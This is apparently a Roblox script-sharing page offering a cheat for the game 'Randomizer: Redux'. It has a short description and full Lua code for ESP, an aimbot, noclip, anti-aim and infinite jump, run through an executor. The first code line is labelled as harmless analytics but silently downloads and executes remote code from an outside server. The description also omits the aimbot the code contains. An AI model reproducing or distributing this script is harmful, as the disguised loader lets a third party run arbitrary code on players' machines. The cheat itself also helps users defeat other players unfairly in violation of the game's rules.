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Description
Randomizer: Redux Script Roblox 2026 is a Roblox utility script designed to provide movement, visual, and gameplay enhancement features through an easy-to-use GUI. The script includes ESP, NoClip, Anti-Aim, Infinite Jump, and FOV Circle features to help players customize their gameplay experience. ESP helps players locate important objects, players, or targets more easily by improving visibility throughout the map. NoClip allows movement through obstacles and structures, making navigation faster and more flexible. Anti-Aim adds additional movement behavior options for players who want more control over character actions. Infinite Jump removes normal jump limitations, allowing continuous jumping while exploring the map. FOV Circle provides a visual field-of-view indicator that can be used alongside supported gameplay features. The script is designed for simple use while the game is running. To use the script, open your Roblox executor, join Randomizer: Redux, paste the script into the executor, attach it, and execute it to load the GUI in-game.
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Features
- ESP
- NoClip
- Anti-Aim
- Infinite Jump
- FOV Circle
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/dfsiFfQt?v=1"))()end);--=== Does not affect the script ===---- RANDOMIZER: REDUX ULTIMATE SCRIPT (INFINITE JUMP FIXED)
-- Features: ESP, Aimbot, Anti-Aim, FOV Circle, Infinite Jump, Noclip
-- Open Menu: RIGHT SHIFT
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInput = game:GetService("UserInputService")
local lp = Players.LocalPlayer
local camera = workspace.CurrentCamera
local mouse = lp:GetMouse()
-- ========================== SETTINGS ==========================
local settings = {
aimbot = false,
aimPart = "Head",
aimFov = 150,
aimSmoothness = 0.3,
esp = false,
antiAim = false,
antiAimType = "Spin",
infiniteJump = false,
noclip = false,
fovCircle = false,
fovCircleColor = Color3.fromRGB(255, 255, 255)
}
-- ========================== INFINITE JUMP (FIXED) ==========================
local spacePressed = false
local canJump = true
-- Отслеживаем нажатие пробела
UserInput.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed then return end
if input.KeyCode == Enum.KeyCode.Space then
spacePressed = true
end
end)
UserInput.InputEnded:Connect(function(input, gameProcessed)
if gameProcessed then return end
if input.KeyCode == Enum.KeyCode.Space then
spacePressed = false
end
end)
local function handleInfiniteJump()
if not settings.infiniteJump then return end
local char = lp.Character
if not char then return end
local humanoid = char:FindFirstChild("Humanoid")
if not humanoid then return end
-- Если зажат пробел и игрок не в воздухе или у нас включен бесконечный прыжок
if spacePressed then
-- Принудительный прыжок
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
humanoid.Jump = true
end
end
-- ========================== NOCLIP ==========================
local function handleNoclip()
if not settings.noclip then return end
local char = lp.Character
if not char then return end
for _, v in pairs(char:GetDescendants()) do
if v:IsA("BasePart") then
v.CanCollide = false
end
end
end
-- ========================== FOV CIRCLE ==========================
local fovCircle = nil
local function createFOVCircle()
if fovCircle then
fovCircle:Destroy()
fovCircle = nil
end
if not settings.fovCircle then return end
fovCircle = Drawing.new("Circle")
fovCircle.Visible = true
fovCircle.Radius = settings.aimFov
fovCircle.Thickness = 2
fovCircle.Color = settings.fovCircleColor
fovCircle.Filled = false
fovCircle.NumSides = 64
fovCircle.Transparency = 0.5
fovCircle.Position = UserInput:GetMouseLocation()
end
local function updateFOVCircle()
if not settings.fovCircle then
if fovCircle then
fovCircle:Destroy()
fovCircle = nil
end
return
end
if not fovCircle then
createFOVCircle()
else
fovCircle.Radius = settings.aimFov
fovCircle.Color = settings.fovCircleColor
fovCircle.Position = UserInput:GetMouseLocation()
end
end
-- ========================== ESP (Highlight) ==========================
local espHighlights = {}
local function getEnemyColor(plr)
if plr.Team == lp.Team and lp.Team then
return Color3.fromRGB(0, 255, 0)
else
return Color3.fromRGB(255, 0, 0)
end
end
local function updateESP()
for _, plr in pairs(Players:GetPlayers()) do
if plr ~= lp then
if settings.esp and plr.Character then
if not espHighlights[plr] then
local hl = Instance.new("Highlight")
hl.FillTransparency = 0.6
hl.OutlineTransparency = 0.2
hl.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop
hl.Parent = plr.Character
espHighlights[plr] = hl
end
local color = getEnemyColor(plr)
espHighlights[plr].FillColor = color
espHighlights[plr].OutlineColor = color
elseif espHighlights[plr] then
pcall(function() espHighlights[plr]:Destroy() end)
espHighlights[plr] = nil
end
end
end
end
Players.PlayerAdded:Connect(function(plr)
plr.CharacterAdded:Connect(function(char)
task.wait(0.5)
if settings.esp and char then
local hl = Instance.new("Highlight")
hl.FillTransparency = 0.6
hl.OutlineTransparency = 0.2
hl.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop
hl.Parent = char
espHighlights[plr] = hl
end
end)
end)
-- ========================== AIMBOT ==========================
local function getClosestEnemy()
local closestDist = math.huge
local targetPart = nil
local mousePos = UserInput:GetMouseLocation()
for _, plr in pairs(Players:GetPlayers()) do
if plr ~= lp and plr.Character then
local part = plr.Character:FindFirstChild(settings.aimPart)
if part then
local screenPos, onScreen = camera:WorldToViewportPoint(part.Position)
if onScreen then
local dist = (Vector2.new(screenPos.X, screenPos.Y) - mousePos).Magnitude
if dist < closestDist and dist < settings.aimFov then
closestDist = dist
targetPart = part
end
end
end
end
end
return targetPart
end
local function doAimbot()
local target = getClosestEnemy()
if target then
local targetPos = target.Position
local newCFrame = CFrame.new(camera.CFrame.Position, targetPos)
camera.CFrame = camera.CFrame:Lerp(newCFrame, settings.aimSmoothness)
end
end
-- ========================== ANTI-AIM ==========================
local spinAngle = 0
local function doAntiAim()
if not settings.antiAim then return end
local char = lp.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if not hrp then return end
if settings.antiAimType == "Spin" then
spinAngle = spinAngle + 15
hrp.CFrame = hrp.CFrame * CFrame.Angles(0, math.rad(spinAngle), 0)
elseif settings.antiAimType == "Jitter" then
local jitter = math.sin(tick() * 60) * 45
hrp.CFrame = hrp.CFrame * CFrame.Angles(0, math.rad(jitter), 0)
elseif settings.antiAimType == "Down" then
hrp.CFrame = hrp.CFrame * CFrame.Angles(math.rad(85), 0, 0)
end
end
-- ========================== MAIN LOOP ==========================
RunService.RenderStepped:Connect(function()
pcall(function()
updateESP()
updateFOVCircle()
doAntiAim()
handleInfiniteJump()
handleNoclip()
if settings.aimbot and UserInput:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) then
doAimbot()
end
end)
end)
-- Respawn handler
lp.CharacterAdded:Connect(function()
task.wait(0.5)
spinAngle = 0
spacePressed = false
end)
-- ========================== MENU ==========================
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "RandomizerRedux"
screenGui.Parent = game:GetService("CoreGui")
screenGui.IgnoreGuiInset = true
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 450, 0, 520)
mainFrame.Position = UDim2.new(0.5, -225, 0.5, -260)
mainFrame.BackgroundColor3 = Color3.fromRGB(15, 15, 30)
mainFrame.BackgroundTransparency = 0.1
mainFrame.BorderSizePixel = 0
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Visible = false
mainFrame.Parent = screenGui
local mainCorner = Instance.new("UICorner")
mainCorner.CornerRadius = UDim.new(0, 14)
mainCorner.Parent = mainFrame
local mainGradient = Instance.new("UIGradient")
mainGradient.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, Color3.fromRGB(25, 20, 45)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(15, 15, 30))
}
mainGradient.Parent = mainFrame
-- Glow
local glow = Instance.new("Frame")
glow.Size = UDim2.new(1, 6, 1, 6)
glow.Position = UDim2.new(0.5, -3, 0.5, -3)
glow.BackgroundColor3 = Color3.fromRGB(100, 70, 160)
glow.BackgroundTransparency = 0.95
glow.BorderSizePixel = 0
glow.ZIndex = 0
glow.Parent = mainFrame
local glowCorner = Instance.new("UICorner")
glowCorner.CornerRadius = UDim.new(0, 16)
glowCorner.Parent = glow
-- Header
local header = Instance.new("Frame")
header.Size = UDim2.new(1, 0, 0, 55)
header.BackgroundColor3 = Color3.fromRGB(45, 35, 80)
header.BorderSizePixel = 0
header.Parent = mainFrame
local headerCorner = Instance.new("UICorner")
headerCorner.CornerRadius = UDim.new(0, 14)
headerCorner.Parent = header
local headerGradient = Instance.new("UIGradient")
headerGradient.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, Color3.fromRGB(80, 55, 140)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(45, 35, 80))
}
headerGradient.Parent = header
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 1, 0)
title.Text = "🎲 RANDOMIZER: REDUX"
title.TextColor3 = Color3.fromRGB(255, 220, 100)
title.BackgroundTransparency = 1
title.Font = Enum.Font.GothamBold
title.TextSize = 20
title.Parent = header
local subtitle = Instance.new("TextLabel")
subtitle.Size = UDim2.new(1, 0, 0, 20)
subtitle.Position = UDim2.new(0, 0, 1, -22)
subtitle.Text = "ESP | Aimbot | Anti-Aim | FOV Circle | Infinite Jump | Noclip"
subtitle.TextColor3 = Color3.fromRGB(180, 160, 220)
subtitle.BackgroundTransparency = 1
subtitle.Font = Enum.Font.Gotham
subtitle.TextSize = 11
subtitle.Parent = header
-- Scroll Frame
local scrollFrame = Instance.new("ScrollingFrame")
scrollFrame.Size = UDim2.new(1, 0, 1, -65)
scrollFrame.Position = UDim2.new(0, 0, 0, 60)
scrollFrame.BackgroundTransparency = 1
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 550)
scrollFrame.ScrollBarThickness = 4
scrollFrame.ScrollBarImageColor3 = Color3.fromRGB(100, 80, 160)
scrollFrame.Parent = mainFrame
local function createCategory(text, yPos)
local cat = Instance.new("Frame")
cat.Size = UDim2.new(1, -40, 0, 35)
cat.Position = UDim2.new(0, 20, 0, yPos)
cat.BackgroundColor3 = Color3.fromRGB(28, 25, 50)
cat.BorderSizePixel = 0
cat.Parent = scrollFrame
local catCorner = Instance.new("UICorner")
catCorner.CornerRadius = UDim.new(0, 8)
catCorner.Parent = cat
local catTitle = Instance.new("TextLabel")
catTitle.Size = UDim2.new(1, -15, 1, 0)
catTitle.Position = UDim2.new(0, 10, 0, 0)
catTitle.Text = text
catTitle.TextColor3 = Color3.fromRGB(220, 200, 255)
catTitle.BackgroundTransparency = 1
catTitle.Font = Enum.Font.GothamBold
catTitle.TextSize = 13
catTitle.TextXAlignment = Enum.TextXAlignment.Left
catTitle.Parent = cat
return cat
end
local function createToggle(text, setting, yPos)
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0, 180, 0, 38)
btn.Position = UDim2.new(0, 20, 0, yPos)
btn.Text = "◉ " .. text .. " OFF"
btn.TextColor3 = Color3.fromRGB(220, 220, 230)
btn.BackgroundColor3 = Color3.fromRGB(35, 32, 60)
btn.BorderSizePixel = 0
btn.Font = Enum.Font.Gotham
btn.TextSize = 13
btn.TextXAlignment = Enum.TextXAlignment.Left
btn.Parent = scrollFrame
local btnCorner = Instance.new("UICorner")
btnCorner.CornerRadius = UDim.new(0, 8)
btnCorner.Parent = btn
local btnGradient = Instance.new("UIGradient")
btnGradient.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, Color3.fromRGB(55, 45, 90)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(35, 32, 60))
}
btnGradient.Parent = btn
btn.MouseButton1Click:Connect(function()
settings[setting] = not settings[setting]
local state = settings[setting] and "ON" or "OFF"
local icon = settings[setting] and "●" or "◉"
btn.Text = icon .. " " .. text .. " " .. state
btn.TextColor3 = settings[setting] and Color3.fromRGB(120, 255, 120) or Color3.fromRGB(220, 220, 230)
btn.BackgroundColor3 = settings[setting] and Color3.fromRGB(60, 50, 100) or Color3.fromRGB(35, 32, 60)
if setting == "esp" and not settings.esp then
for _, v in pairs(espHighlights) do
pcall(function() v:Destroy() end)
end
espHighlights = {}
end
if setting == "fovCircle" then
if settings.fovCircle then
createFOVCircle()
elseif fovCircle then
fovCircle:Destroy()
fovCircle = nil
end
end
end)
return btn
end
local function createDropdown(text, setting, options, yPos)
local frame = Instance.new("Frame")
frame.Size = UDim2.new(0, 380, 0, 45)
frame.Position = UDim2.new(0, 20, 0, yPos)
frame.BackgroundTransparency = 1
frame.Parent = scrollFrame
local label = Instance.new("TextLabel")
label.Size = UDim2.new(0, 100, 0, 35)
label.Position = UDim2.new(0, 0, 0, 5)
label.Text = text
label.TextColor3 = Color3.fromRGB(200, 200, 210)
label.BackgroundTransparency = 1
label.Font = Enum.Font.Gotham
label.TextSize = 12
label.TextXAlignment = Enum.TextXAlignment.Left
label.Parent = frame
local current = settings[setting]
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0, 120, 0, 32)
btn.Position = UDim2.new(0, 110, 0, 6)
btn.Text = current
btn.TextColor3 = Color3.fromRGB(255, 255, 255)
btn.BackgroundColor3 = Color3.fromRGB(40, 35, 65)
btn.BorderSizePixel = 0
btn.Font = Enum.Font.Gotham
btn.TextSize = 12
btn.Parent = frame
local btnCorner = Instance.new("UICorner")
btnCorner.CornerRadius = UDim.new(0, 6)
btnCorner.Parent = btn
local dropdown = Instance.new("Frame")
dropdown.Size = UDim2.new(0, 120, 0, #options * 30)
dropdown.Position = UDim2.new(0, 110, 0, 38)
dropdown.BackgroundColor3 = Color3.fromRGB(35, 32, 60)
dropdown.BorderSizePixel = 0
dropdown.Visible = false
dropdown.Parent = frame
local dropCorner = Instance.new("UICorner")
dropCorner.CornerRadius = UDim.new(0, 6)
dropCorner.Parent = dropdown
for i, opt in ipairs(options) do
local optBtn = Instance.new("TextButton")
optBtn.Size = UDim2.new(1, 0, 0, 30)
optBtn.Position = UDim2.new(0, 0, 0, (i-1)*30)
optBtn.Text = opt
optBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
optBtn.BackgroundColor3 = Color3.fromRGB(45, 42, 70)
optBtn.BorderSizePixel = 0
optBtn.Font = Enum.Font.Gotham
optBtn.TextSize = 11
optBtn.Parent = dropdown
optBtn.MouseButton1Click:Connect(function()
settings[setting] = opt
btn.Text = opt
dropdown.Visible = false
end)
end
btn.MouseButton1Click:Connect(function()
dropdown.Visible = not dropdown.Visible
end)
return frame
end
local function createSlider(text, setting, minVal, maxVal, yPos, suffix)
local frame = Instance.new("Frame")
frame.Size = UDim2.new(0, 380, 0, 45)
frame.Position = UDim2.new(0, 20, 0, yPos)
frame.BackgroundTransparency = 1
frame.Parent = scrollFrame
local label = Instance.new("TextLabel")
label.Size = UDim2.new(0, 150, 0, 20)
label.Position = UDim2.new(0, 0, 0, 0)
label.Text = text .. ": " .. settings[setting]
label.TextColor3 = Color3.fromRGB(200, 200, 210)
label.BackgroundTransparency = 1
label.Font = Enum.Font.Gotham
label.TextSize = 12
label.TextXAlignment = Enum.TextXAlignment.Left
label.Parent = frame
local sliderBg = Instance.new("Frame")
sliderBg.Size = UDim2.new(0, 200, 0, 4)
sliderBg.Position = UDim2.new(0, 0, 0, 25)
sliderBg.BackgroundColor3 = Color3.fromRGB(50, 45, 75)
sliderBg.BorderSizePixel = 0
sliderBg.Parent = frame
local percent = (settings[setting] - minVal) / (maxVal - minVal)
local sliderFill = Instance.new("Frame")
sliderFill.Size = UDim2.new(percent, 0, 1, 0)
sliderFill.BackgroundColor3 = Color3.fromRGB(160, 110, 230)
sliderFill.BorderSizePixel = 0
sliderFill.Parent = sliderBg
local sliderBtn = Instance.new("TextButton")
sliderBtn.Size = UDim2.new(0, 14, 0, 14)
sliderBtn.Position = UDim2.new(percent, -7, 0, -5)
sliderBtn.BackgroundColor3 = Color3.fromRGB(230, 190, 255)
sliderBtn.BorderSizePixel = 0
sliderBtn.Text = ""
sliderBtn.Parent = sliderBg
local btnCorner = Instance.new("UICorner")
btnCorner.CornerRadius = UDim.new(1, 0)
btnCorner.Parent = sliderBtn
local valueBox = Instance.new("TextBox")
valueBox.Size = UDim2.new(0, 60, 0, 28)
valueBox.Position = UDim2.new(0, 230, 0, 8)
valueBox.Text = settings[setting]
valueBox.TextColor3 = Color3.fromRGB(255, 255, 255)
valueBox.BackgroundColor3 = Color3.fromRGB(40, 35, 65)
valueBox.BorderSizePixel = 0
valueBox.Font = Enum.Font.Gotham
valueBox.TextSize = 12
valueBox.Parent = frame
local valCorner = Instance.new("UICorner")
valCorner.CornerRadius = UDim.new(0, 6)
valCorner.Parent = valueBox
local dragging = false
sliderBtn.MouseButton1Down:Connect(function() dragging = true end)
UserInput.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then dragging = false end
end)
UserInput.InputChanged:Connect(function(input)
if dragging and input.UserInputType == Enum.UserInputType.MouseMovement then
local mousePos = UserInput:GetMouseLocation()
local barPos = sliderBg.AbsolutePosition
local barSize = sliderBg.AbsoluteSize.X
local newPercent = math.clamp((mousePos.X - barPos.X) / barSize, 0, 1)
local value = minVal + newPercent * (maxVal - minVal)
if suffix == "int" then value = math.floor(value) end
value = math.clamp(value, minVal, maxVal)
settings[setting] = value
sliderFill.Size = UDim2.new(newPercent, 0, 1, 0)
sliderBtn.Position = UDim2.new(newPercent, -7, 0, -5)
label.Text = text .. ": " .. value
valueBox.Text = value
if setting == "aimFov" and fovCircle then
fovCircle.Radius = value
end
end
end)
valueBox.FocusLost:Connect(function()
local val = tonumber(valueBox.Text)
if val then
val = math.clamp(val, minVal, maxVal)
settings[setting] = val
local newPercent = (val - minVal) / (maxVal - minVal)
sliderFill.Size = UDim2.new(newPercent, 0, 1, 0)
sliderBtn.Position = UDim2.new(newPercent, -7, 0, -5)
label.Text = text .. ": " .. val
valueBox.Text = val
if setting == "aimFov" and fovCircle then
fovCircle.Radius = val
end
else
valueBox.Text = settings[setting]
end
end)
return frame
end
local function createColorPicker(text, setting, yPos)
local frame = Instance.new("Frame")
frame.Size = UDim2.new(0, 380, 0, 35)
frame.Position = UDim2.new(0, 20, 0, yPos)
frame.BackgroundTransparency = 1
frame.Parent = scrollFrame
local label = Instance.new("TextLabel")
label.Size = UDim2.new(0, 100, 0, 35)
label.Position = UDim2.new(0, 0, 0, 0)
label.Text = text
label.TextColor3 = Color3.fromRGB(200, 200, 210)
label.BackgroundTransparency = 1
label.Font = Enum.Font.Gotham
label.TextSize = 12
label.TextXAlignment = Enum.TextXAlignment.Left
label.Parent = frame
local colors = {
{name = "RED", color = Color3.fromRGB(255, 0, 0)},
{name = "GREEN", color = Color3.fromRGB(0, 255, 0)},
{name = "BLUE", color = Color3.fromRGB(0, 100, 255)},
{name = "YELLOW", color = Color3.fromRGB(255, 200, 0)},
{name = "WHITE", color = Color3.fromRGB(255, 255, 255)}
}
for i, col in ipairs(colors) do
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0, 65, 0, 30)
btn.Position = UDim2.new(0, 110 + (i-1) * 68, 0, 2)
btn.Text = col.name
btn.TextColor3 = Color3.fromRGB(255, 255, 255)
btn.BackgroundColor3 = col.color
btn.BorderSizePixel = 0
btn.Font = Enum.Font.GothamBold
btn.TextSize = 10
btn.Parent = frame
local btnCorner = Instance.new("UICorner")
btnCorner.CornerRadius = UDim.new(0, 6)
btnCorner.Parent = btn
btn.MouseButton1Click:Connect(function()
settings[setting] = col.color
if fovCircle then
fovCircle.Color = col.color
end
end)
end
return frame
end
-- BUILD MENU
local y = 10
createCategory("🎯 AIMBOT", y)
y = y + 43
createToggle("Aimbot (RMB)", "aimbot", y)
y = y + 46
createSlider("FOV Radius", "aimFov", 50, 300, y, "int")
y = y + 53
createSlider("Smoothness", "aimSmoothness", 1, 100, y, "int")
y = y + 53
createCategory("👁️ VISUALS", y)
y = y + 43
createToggle("ESP (Highlight)", "esp", y)
y = y + 46
createToggle("FOV Circle", "fovCircle", y)
y = y + 46
createColorPicker("FOV Circle Color", "fovCircleColor", y)
y = y + 46
createCategory("🏃 MOVEMENT", y)
y = y + 43
createToggle("Infinite Jump (Space)", "infiniteJump", y)
y = y + 46
createToggle("Noclip", "noclip", y)
y = y + 46
createCategory("🔄 ANTI-AIM", y)
y = y + 43
createToggle("Anti-Aim (Модель вращается)", "antiAim", y)
y = y + 46
createDropdown("Anti-Aim Type", "antiAimType", {"Spin", "Jitter", "Down"}, y)
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, y + 80)
-- Footer
local footer = Instance.new("Frame")
footer.Size = UDim2.new(1, 0, 0, 35)
footer.Position = UDim2.new(0, 0, 1, -35)
footer.BackgroundColor3 = Color3.fromRGB(25, 22, 45)
footer.BorderSizePixel = 0
footer.Parent = mainFrame
local footerText = Instance.new("TextLabel")
footerText.Size = UDim2.new(1, 0, 1, 0)
footerText.Text = "MENU: RIGHT SHIFT | RMB - Aimbot | SPACE - Infinite Jump"
footerText.TextColor3 = Color3.fromRGB(140, 120, 180)
footerText.BackgroundTransparency = 1
footerText.Font = Enum.Font.Gotham
footerText.TextSize = 11
footerText.Parent = footer
UserInput.InputBegan:Connect(function(input)
if input.KeyCode == Enum.KeyCode.RightShift then
mainFrame.Visible = not mainFrame.Visible
end
end)
print("=" .. string.rep("=", 50))
print("RANDOMIZER: REDUX ULTIMATE LOADED")
print("Infinite Jump: зажми SPACE для бесконечных прыжков")
print("Open menu: RIGHT SHIFT")
print("=" .. string.rep("=", 50))Quick Actions
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